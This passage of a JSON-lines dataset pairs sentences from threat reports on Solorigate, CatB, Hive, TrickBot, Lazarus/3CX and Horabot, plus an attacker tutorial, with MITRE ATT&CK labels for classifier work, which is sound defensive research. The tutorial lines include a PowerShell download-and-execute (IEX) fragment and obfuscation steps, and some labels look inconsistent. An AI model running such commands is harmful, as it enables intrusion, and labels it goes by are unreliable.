1"} {"sentence": "This line creates a new WebClient object and assigns it to the variable $down.", "labels": [], "doc_title": "Inside the Mind of a Cyber Attacker from Malware creation to Data Exfiltration Part 1"} {"sentence": "GetResponse() $statusCode =", "labels": [], "doc_title": "Inside the Mind of a Cyber Attacker from Malware creation to Data Exfiltration Part 1"} {"sentence": "[int]$response.StatusCode if ($statusCode -eq 200) { # Successful response with HTTP status code 200 $down.", "labels": [], "doc_title": "Inside the Mind of a Cyber Attacker from Malware creation to Data Exfiltration Part 1"} {"sentence": "As such, it uses mostly the same techniques to evade common detection signatures, like: comment deletion/substitution string substitution (variables, functions, data-types) variable concatenation indentation randomization semi-random backticks insertion case randomization encoding Let’s try: python chameleon.py -n", "labels": [], "doc_title": "Inside the Mind of a Cyber Attacker from Malware creation to Data Exfiltration Part 1"} {"sentence": "-v -b -K hacktivesec -t", "labels": [], "doc_title": "Inside the Mind of a Cyber Attacker from Malware creation to Data Exfiltration Part 1"} {"sentence": "WebClient).DownloadString('https://transfersh.com/XXXXXXX/runme.ps1') | IEX\"", "labels": [], "doc_title": "Inside the Mind of a Cyber Attacker from Malware creation to Data Exfiltration Part 1"} {"sentence": "Moreover, we’ll delve into a wide range of exciting topics, including: User-level persistence to establish long-term presence and maintain access on compromised systems.", "labels": [], "doc_title": "Inside the Mind of a Cyber Attacker from Malware creation to Data Exfiltration Part 1"} {"sentence": "These are direct checks for type and size of physical RAM, type and size of physical hard disks, and checking for odd or anomalous combinations of processors and cores.", "labels": [], "doc_title": "CatB Ransomware File Locker Sharpens Its Claws to Steal Data with MSDTC Service DLL Hijacking"} {"sentence": "The dropper (versions.dll) drops the payload (oci.dll) into the System32 directory.", "labels": [], "doc_title": "CatB Ransomware File Locker Sharpens Its Claws to Steal Data with MSDTC Service DLL Hijacking"} {"sentence": "Encryption exclusions in payload DLL", "labels": [], "doc_title": "CatB Ransomware File Locker Sharpens Its Claws to Steal Data with MSDTC Service DLL Hijacking"} {"sentence": "Instead, what could be considered the ransom note is inserted into the beginning of each encrypted file.", "labels": [], "doc_title": "CatB Ransomware File Locker Sharpens Its Claws to Steal Data with MSDTC Service DLL Hijacking"} {"sentence": "Beyond that, a single Bitcoin (BTC) address is provided for payment submissions.", "labels": [], "doc_title": "CatB Ransomware File Locker Sharpens Its Claws to Steal Data with MSDTC Service DLL Hijacking"} {"sentence": "CatB malware will also attempt to locate and extract sensitive information from Windows Mail profile data (\\AppData\\Local\\Microsoft\\Windows Mail\\).", "labels": [], "doc_title": "CatB Ransomware File Locker Sharpens Its Claws to Steal Data with MSDTC Service DLL Hijacking"} {"sentence": "When these ‘double email’ notes are appended to the head of files, it looks as follows: Alternate ransom note (double-email, no BTC)", "labels": [], "doc_title": "CatB Ransomware File Locker Sharpens Its Claws to Steal Data with MSDTC Service DLL Hijacking"} {"sentence": "Also missing is the requirement to submit the key file in c\\users\\public\\key.", "labels": [], "doc_title": "CatB Ransomware File Locker Sharpens Its Claws to Steal Data with MSDTC Service DLL Hijacking"} {"sentence": "We have established a resource center that is constantly updated as more information becomes available at https://aka.ms/solorigate.", "labels": [], "doc_title": "Analyzing Solorigate the compromised DLL file that started a sophisticated cyberattack and how Microsoft Defender helps protect customers"} {"sentence": "The addition of a few benign-looking lines of code into a single DLL file spelled a serious threat to organizations using the affected product, a widely used IT administration software used across verticals, including government and the security industry.", "labels": [], "doc_title": "Analyzing Solorigate the compromised DLL file that started a sophisticated cyberattack and how Microsoft Defender helps protect customers"} {"sentence": "This method is part of a class, which the attackers named OrionImprovementBusinessLayer to blend in with the rest of the code.", "labels": [], "doc_title": "Analyzing Solorigate the compromised DLL file that started a sophisticated cyberattack and how Microsoft Defender helps protect customers"} {"sentence": "Solorigate malware infection chain", "labels": [], "doc_title": "Analyzing Solorigate the compromised DLL file that started a sophisticated cyberattack and how Microsoft Defender helps protect customers"} {"sentence": "Where it all starts: A poisoned code library The attackers inserted malicious code into SolarWinds.Orion.Core.BusinessLayer.dll, a code library belonging to the SolarWinds Orion Platform.", "labels": [], "doc_title": "Analyzing Solorigate the compromised DLL file that started a sophisticated cyberattack and how Microsoft Defender helps protect customers"} {"sentence": "The inserted malicious code runs within a parallel thread The functionality of the backdoor resides entirely in the class OrionImprovementBusinessLayer, comprising 13 subclasses and 16 methods.", "labels": [], "doc_title": "Analyzing Solorigate the compromised DLL file that started a sophisticated cyberattack and how Microsoft Defender helps protect customers"} {"sentence": "It checks that there are no drivers loaded from security-related software (e.g., groundling32.sys)", "labels": ["T1518.001"], "doc_title": "Analyzing Solorigate the compromised DLL file that started a sophisticated cyberattack and how Microsoft Defender helps protect customers"} {"sentence": "It is computed by hashing the following data: The physical address of the network interface The domain name of the device The content of the MachineGuid registry value from the key HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Cryptography The backdoor also generates a pseudo-random URI that is requested on the C2 domain.", "labels": ["T1012", "T1082"], "doc_title": "Analyzing Solorigate the compromised DLL file that started a sophisticated cyberattack and how Microsoft Defender helps protect customers"} {"sentence": "It then sends this JSON document to the C2 server. Figure 7: Example of data generated by the malware If the communication is successful, the C2 responds with an encoded, compressed buffer of data containing commands for the backdoor to execute.", "labels": [], "doc_title": "Analyzing Solorigate the compromised DLL file that started a sophisticated cyberattack and how Microsoft Defender helps protect customers"} {"sentence": "Settings.", "labels": [], "doc_title": "Analyzing Solorigate the compromised DLL file that started a sophisticated cyberattack and how Microsoft Defender helps protect customers"} {"sentence": "RegisterTaskDefinition($task.", "labels": [], "doc_title": "Analyzing Solorigate the compromised DLL file that started a sophisticated cyberattack and how Microsoft Defender helps protect customers"} {"sentence": "NET\\Framework64\\[malicious .dll", "labels": [], "doc_title": "Analyzing Solorigate the compromised DLL file that started a sophisticated cyberattack and how Microsoft Defender helps protect customers"} {"sentence": "Microsoft Defender for Endpoint product and hardening guidance Supply chain compromise continues to be a growing concern in the security industry.", "labels": [], "doc_title": "Analyzing Solorigate the compromised DLL file that started a sophisticated cyberattack and how Microsoft Defender helps protect customers"} {"sentence": "On top of that, comprehensive visibility into system and network activities drive the early detection of anomalous behaviors and potential signs of compromise.", "labels": [], "doc_title": "Analyzing Solorigate the compromised DLL file that started a sophisticated cyberattack and how Microsoft Defender helps protect customers"} {"sentence": "These detections raise alerts that inform security operations teams about the presence of activities and artifacts related to this incident.", "labels": [], "doc_title": "Analyzing Solorigate the compromised DLL file that started a sophisticated cyberattack and how Microsoft Defender helps protect customers"} {"sentence": "Given that this attack involves the compromise of legitimate software, automatic remediation is not enabled to prevent service interruption.", "labels": [], "doc_title": "Analyzing Solorigate the compromised DLL file that started a sophisticated cyberattack and how Microsoft Defender helps protect customers"} {"sentence": "Analysts can then use investigation and remediation tools in Microsoft Defender Endpoint to perform deep investigation and additional hunting.", "labels": [], "doc_title": "Analyzing Solorigate the compromised DLL file that started a sophisticated cyberattack and how Microsoft Defender helps protect customers"} {"sentence": "Microsoft Defender for Endpoint detections across the Solorigate attack chain Several Microsoft Defender for Endpoint capabilities are relevant to the Solorigate attack: Next generation protection Microsoft Defender Antivirus, the default antimalware solution on Windows 10, detects and blocks the malicious DLL and its behaviors.", "labels": [], "doc_title": "Analyzing Solorigate the compromised DLL file that started a sophisticated cyberattack and how Microsoft Defender helps protect customers"} {"sentence": "= “msedge.exe”| where InitiatingProcessFileName !", "labels": [], "doc_title": "Analyzing Solorigate the compromised DLL file that started a sophisticated cyberattack and how Microsoft Defender helps protect customers"} {"sentence": "= “iexplore.exe”| where InitiatingProcessFileName !", "labels": [], "doc_title": "Analyzing Solorigate the compromised DLL file that started a sophisticated cyberattack and how Microsoft Defender helps protect customers"} {"sentence": "IdentityServer.", "labels": [], "doc_title": "Analyzing Solorigate the compromised DLL file that started a sophisticated cyberattack and how Microsoft Defender helps protect customers"} {"sentence": "ServiceHost.exe”| where FileName in~(“werfault.exe”, “csc.exe”)| where ProcessCommandLine !contains (“nameId”) Appendix MITRE ATT&CK techniques observed This threat makes use of attacker techniques documented in the MITRE ATT&CK framework.", "labels": [], "doc_title": "Analyzing Solorigate the compromised DLL file that started a sophisticated cyberattack and how Microsoft Defender helps protect customers"} {"sentence": "In an interesting turn of events, the investigation of the whole SolarWinds compromise led to the discovery of an additional malware that also affects the SolarWinds Orion product but has been determined to be likely unrelated to this compromise and used by a different threat actor.", "labels": [], "doc_title": "Analyzing Solorigate the compromised DLL file that started a sophisticated cyberattack and how Microsoft Defender helps protect customers"} {"sentence": "Talk to us Questions, concerns, or insights on this story?", "labels": [], "doc_title": "Analyzing Solorigate the compromised DLL file that started a sophisticated cyberattack and how Microsoft Defender helps protect customers"} {"sentence": "Follow us on Twitter @MsftSecIntel.", "labels": [], "doc_title": "Analyzing Solorigate the compromised DLL file that started a sophisticated cyberattack and how Microsoft Defender helps protect customers"} {"sentence": "The post Analyzing Solorigate, the compromised DLL file that started a sophisticated cyberattack, and how Microsoft Defender helps protect customers appeared first on Microsoft Security.", "labels": [], "doc_title": "Analyzing Solorigate the compromised DLL file that started a sophisticated cyberattack and how Microsoft Defender helps protect customers"} {"sentence": "”According", "labels": [], "doc_title": "Horabot campaign targeted businesses for more than two years before finally being discovered"} {"sentence": "How does Horabot work?Technical analysis from Cisco Talos revealed that the campaign is a “multi-stage attack chain” beginning with an initial phishing email.", "labels": [], "doc_title": "Horabot campaign targeted businesses for more than two years before finally being discovered"} {"sentence": "“The reconnaissance data is exfiltrated to the attacker-controlled server through an HTTP POST request,” Talos explained “The banking trojan targets the victim’s sensitive information, such as login credentials and financial transaction security codes, and logs keystrokes and manipulates the victim machine’s clipboard data.", "labels": ["T1005", "T1041", "T1056.001", "T1071.001"], "doc_title": "Horabot campaign targeted businesses for more than two years before finally being discovered"} {"sentence": "This acts as a secondary payload during the attack and enables the threat actor to assume control of the victim’s email accounts.", "labels": [], "doc_title": "Horabot campaign targeted businesses for more than two years before finally being discovered"} {"sentence": "Hive ransomware follows the ransomware-as-a-service (RaaS) model in which developers create, maintain, and update the malware, and affiliates conduct the ransomware attacks.", "labels": [], "doc_title": "StopRansomware Hive Ransomware"} {"sentence": "Hive actors have also gained initial access to victim networks by distributing phishing emails with malicious attachments [T1566.001] and by exploiting the following vulnerabilities against Microsoft Exchange servers [T1190]: CVE-2021-31207 - Microsoft Exchange Server Security Feature Bypass Vulnerability CVE-2021-34473 - Microsoft Exchange Server Remote Code Execution Vulnerability CVE-2021-34523 - Microsoft Exchange Server Privilege Escalation Vulnerability After gaining access, Hive ransomware attempts to evade detention by executing processes to: Identify processes related to backups, antivirus/anti-spyware, and file copying and then terminating those processes to facilitate file encryption [T1562].", "labels": ["T1057", "T1068", "T1190", "T1518.001", "T1566.001"], "doc_title": "StopRansomware Hive Ransomware"} {"sentence": "Prior to encryption, Hive ransomware removes virus definitions and disables all portions of Windows Defender and other common antivirus programs in the system registry [T1112].", "labels": ["T1562.001"], "doc_title": "StopRansomware Hive Ransomware"} {"sentence": "Hive actors exfiltrate data likely using a combination of Rclone and the cloud storage service Mega.nz", "labels": [], "doc_title": "StopRansomware Hive Ransomware"} {"sentence": "Hive actors demand payment in Bitcoin.", "labels": [], "doc_title": "StopRansomware Hive Ransomware"} {"sentence": "Hive actors have been known to reinfect—with either Hive ransomware or another ransomware variant—the networks of victim organizations who have restored their network without making a ransom payment.", "labels": [], "doc_title": "StopRansomware Hive Ransomware"} {"sentence": "Ensure all backup data is encrypted, immutable (i.e., cannot be altered or deleted), and covers the entire organization’s data infrastructure.", "labels": [], "doc_title": "StopRansomware Hive Ransomware"} {"sentence": "The Cybersecurity and Infrastructure Security Agency-Multi-State Information Sharing & Analysis Center Joint Ransomware Guide covers additional best practices and ways to prevent, protect, and respond to a ransomware attack.", "labels": [], "doc_title": "StopRansomware Hive Ransomware"} {"sentence": "Power-off and segregate any other computers or devices that share a network with the infected computer(s) that have not been fully encrypted by ransomware.", "labels": [], "doc_title": "StopRansomware Hive Ransomware"} {"sentence": "Use longer passwords consisting of at least 8 characters and no more than 64 characters in length.", "labels": [], "doc_title": "StopRansomware Hive Ransomware"} {"sentence": "Refrain from requiring password changes more frequently than once per year unless a password is known or suspected to be compromised.", "labels": [], "doc_title": "StopRansomware Hive Ransomware"} {"sentence": "Require administrator credentials to install software.", "labels": [], "doc_title": "StopRansomware Hive Ransomware"} {"sentence": "Review domain controllers, servers, workstations, and active directories for new and/or unrecognized accounts.", "labels": [], "doc_title": "StopRansomware Hive Ransomware"} {"sentence": "Vulnerability and Configuration Management Consider adding an email banner to emails received from outside your organization.", "labels": [], "doc_title": "StopRansomware Hive Ransomware"} {"sentence": "Paying a ransom may embolden adversaries to target additional organizations, encourage other criminal actors to engage in the distribution of ransomware, and/or fund illicit activities.", "labels": [], "doc_title": "StopRansomware Hive Ransomware"} {"sentence": "The 3CX supply-chain attack 3CX is an international VoIP software developer and distributor that provides phone system services to many organizations.", "labels": [], "doc_title": "Linux malware strengthens links between Lazarus and the 3CX supplychain attack"} {"sentence": "Initially reported on March 29th, 2023 in a Reddit thread by a CrowdStrike engineer, followed by an official report by CrowdStrike, stating with high confidence that LABIRINTH CHOLLIMA, the company’s codename for Lazarus, was behind the attack (but omitting any evidence backing up the claim).", "labels": [], "doc_title": "Linux malware strengthens links between Lazarus and the 3CX supplychain attack"} {"sentence": "Because of the seriousness of the incident, multiple security companies started to contribute their summaries of the events, namely Sophos, Check Point, Broadcom, Trend Micro, and more.", "labels": [], "doc_title": "Linux malware strengthens links between Lazarus and the 3CX supplychain attack"} {"sentence": "Timeline of events Figure 1.", "labels": [], "doc_title": "Linux malware strengthens links between Lazarus and the 3CX supplychain attack"} {"sentence": "While the trojanized 3CX macOS application shows it was signed in late January, we did not see the bad application in our telemetry until February 14th, 2023.", "labels": [], "doc_title": "Linux malware strengthens links between Lazarus and the 3CX supplychain attack"} {"sentence": "It is unclear whether the malicious update for macOS was distributed prior to that date.", "labels": [], "doc_title": "Linux malware strengthens links between Lazarus and the 3CX supplychain attack"} {"sentence": "This tool is useful, as the attackers did not embed the C&C servers directly in the intermediate stages, but rather used GitHub as a dead drop resolver.", "labels": [], "doc_title": "Linux malware strengthens links between Lazarus and the 3CX supplychain attack"} {"sentence": "He observed that a shellcode stub prepended to the payload from d3dcompiler_47.dll is similar to AppleJeus loader stubs attributed to Lazarus by CISA back in April 2021.", "labels": [], "doc_title": "Linux malware strengthens links between Lazarus and the 3CX supplychain attack"} {"sentence": "No hashes were provided, but Mandiant’s YARA rule, named TAXHAUL, also triggers on other samples already on VirusTotal:", "labels": [], "doc_title": "Linux malware strengthens links between Lazarus and the 3CX supplychain attack"} {"sentence": "It targets aerospace, military, and defense companies and uses specific malicious, initially Windows-only, tools.", "labels": [], "doc_title": "Linux malware strengthens links between Lazarus and the 3CX supplychain attack"} {"sentence": "Given other DreamJob campaigns by Lazarus, this payload was probably distributed through spearphishing or direct messages on LinkedIn.", "labels": [], "doc_title": "Linux malware strengthens links between Lazarus and the 3CX supplychain attack"} {"sentence": "Because of the similarities in class names and function names between SimplexTea and sysnetd, we believe SimplexTea is an updated version, rewritten from C to C++.", "labels": [], "doc_title": "Linux malware strengthens links between Lazarus and the 3CX supplychain attack"} {"sentence": "CMsgZip::StartZip(void *) CMsgZip::Start(void) CHttpWrapper::RecvData(uchar *&,uint *,uint,signed char) RecvMsg CHttpWrapper::SendMsg(_MSG_STRUCT *)SendMsg CHttpWrapper::SendData(uchar *,uint,uint) CHttpWrapper::SendMsg(uint,uint,uchar *,uint,uint)", "labels": [], "doc_title": "Linux malware strengthens links between Lazarus and the 3CX supplychain attack"} {"sentence": "P2P_DLL.dll (SHA-1: 65122E5129FC74D6B5EBAFCC3376ABAE0145BC14), which shows code similarities to sysnetd in the form of domains used as a front for fake TLS connection (see Figure 4).", "labels": [], "doc_title": "Linux malware strengthens links between Lazarus and the 3CX supplychain attack"} {"sentence": "From September 2019, CISA started to call newer versions of this malware BADCALL (SHA-1: D288766FA268BC2534F85FD06A5D52264E646C47).", "labels": [], "doc_title": "Linux malware strengthens links between Lazarus and the 3CX supplychain attack"} {"sentence": "It was attributed to Lazarus by CISA in February 2021.", "labels": [], "doc_title": "Linux malware strengthens links between Lazarus and the 3CX supplychain attack"} {"sentence": "We include below the YARA rule RichHeaders_Lazarus_NukeSped_IconicPayloads_3CX_Q12023, which flags all these samples, and no unrelated malicious or clean files, as tested on the current ESET databases and recent VirusTotal submissions.", "labels": [], "doc_title": "Linux malware strengthens links between Lazarus and the 3CX supplychain attack"} {"sentence": "Loading a configuration file by SimplexTea for Linux, cf.", "labels": [], "doc_title": "Linux malware strengthens links between Lazarus and the 3CX supplychain attack"} {"sentence": "A hardcoded URL in SimplexTea for Linux Conclusion The 3CX compromise has gained a lot of attention from the security community since its disclosure on March 29th.", "labels": [], "doc_title": "Linux malware strengthens links between Lazarus and the 3CX supplychain attack"} {"sentence": "For any inquiries about our research published on WeLiveSecurity, please contact us at threatintel@eset.com. ESET Research offers private APT intelligence reports and data feeds.", "labels": [], "doc_title": "Linux malware strengthens links between Lazarus and the 3CX supplychain attack"} {"sentence": "C&Chttps://journalide[.]org/djour.php Downloaded fromhttps://od[.]lk/d/NTJfMzg4MDE1NzJf/vxmedia DetectionLinux/NukeSped.", "labels": [], "doc_title": "Linux malware strengthens links between Lazarus and the 3CX supplychain attack"} {"sentence": "SimplexTea executes new processes with the same technique.", "labels": [], "doc_title": "Linux malware strengthens links between Lazarus and the 3CX supplychain attack"} {"sentence": "T1090ProxySimplexTea can utilize a proxy for communications.", "labels": [], "doc_title": "Linux malware strengthens links between Lazarus and the 3CX supplychain attack"} {"sentence": "<= 164 and pe.rich_signature.toolid(257, 29395)", "labels": [], "doc_title": "Linux malware strengthens links between Lazarus and the 3CX supplychain attack"} {"sentence": "Originally designed as a banking Trojan to steal financial data, TrickBot has evolved into highly modular, multi-stage malware that provides its operators a full suite of tools to conduct a myriad of illegal cyber activities.", "labels": [], "doc_title": "AA21076A TrickBot Malware"} {"sentence": "In clicking the photo, the victim unknowingly downloads a malicious JavaScript file that, when opened, automatically communicates with the malicious actor’s command and control (C2) server to download TrickBot to the victim’s system (Command and Scripting Interpreter:", "labels": ["T1204.002"], "doc_title": "AA21076A TrickBot Malware"} {"sentence": "Attackers can use TrickBot to: Drop other malware, such as Ryuk and Conti ransomware, or Serve as an Emotet downloader (Ingress Tool Transfer [T1105]).[1] TrickBot uses person-in-the-browser attacks to steal information, such as login credentials (Man in the Browser", "labels": [], "doc_title": "AA21076A TrickBot Malware"} {"sentence": "Execution [TA0002] Technique Title ID Use Scheduled Task/Job: Scheduled", "labels": [], "doc_title": "AA21076A TrickBot Malware"} {"sentence": "Unsecured Credentials: Credentials in Files T1552.001 TrickBot can obtain passwords stored in files from several applications such as Outlook, Filezilla, OpenSSH, OpenVPN and WinSCP.", "labels": ["T1552.001"], "doc_title": "AA21076A TrickBot Malware"} {"sentence": "Input Capture:Credential API Hooking T1056.004 TrickBot has the ability to capture Remote Desktop Protocol credentials by capturing the CredEnumerateA API. Person in the Browser T1185 TrickBot uses web injects and browser redirection to trick the user into providing their login credentials on a fake or modified webpage. Command and Control", "labels": ["T1106"], "doc_title": "AA21076A TrickBot Malware"} {"sentence": "Non-Standard Port T1571 Some TrickBot samples have used HTTP over ports 447 and 8082 for C2.", "labels": ["T1071.001"], "doc_title": "AA21076A TrickBot Malware"} {"sentence": "Detection Signatures CISA developed the following snort signature for use in detecting network activity associated with TrickBot activity.", "labels": [], "doc_title": "AA21076A TrickBot Malware"} {"sentence": "Enforce multi-factor authentication.", "labels": [], "doc_title": "AA21076A TrickBot Malware"} {"sentence": "Visit the MITRE ATT&CK Techniques pages (linked in table 1 above) for additional mitigation and detection strategies.", "labels": [], "doc_title": "AA21076A TrickBot Malware"} {"sentence": "Added new MITRE ATT&CKs and updated Table 1", "labels": [], "doc_title": "AA21076A TrickBot Malware"}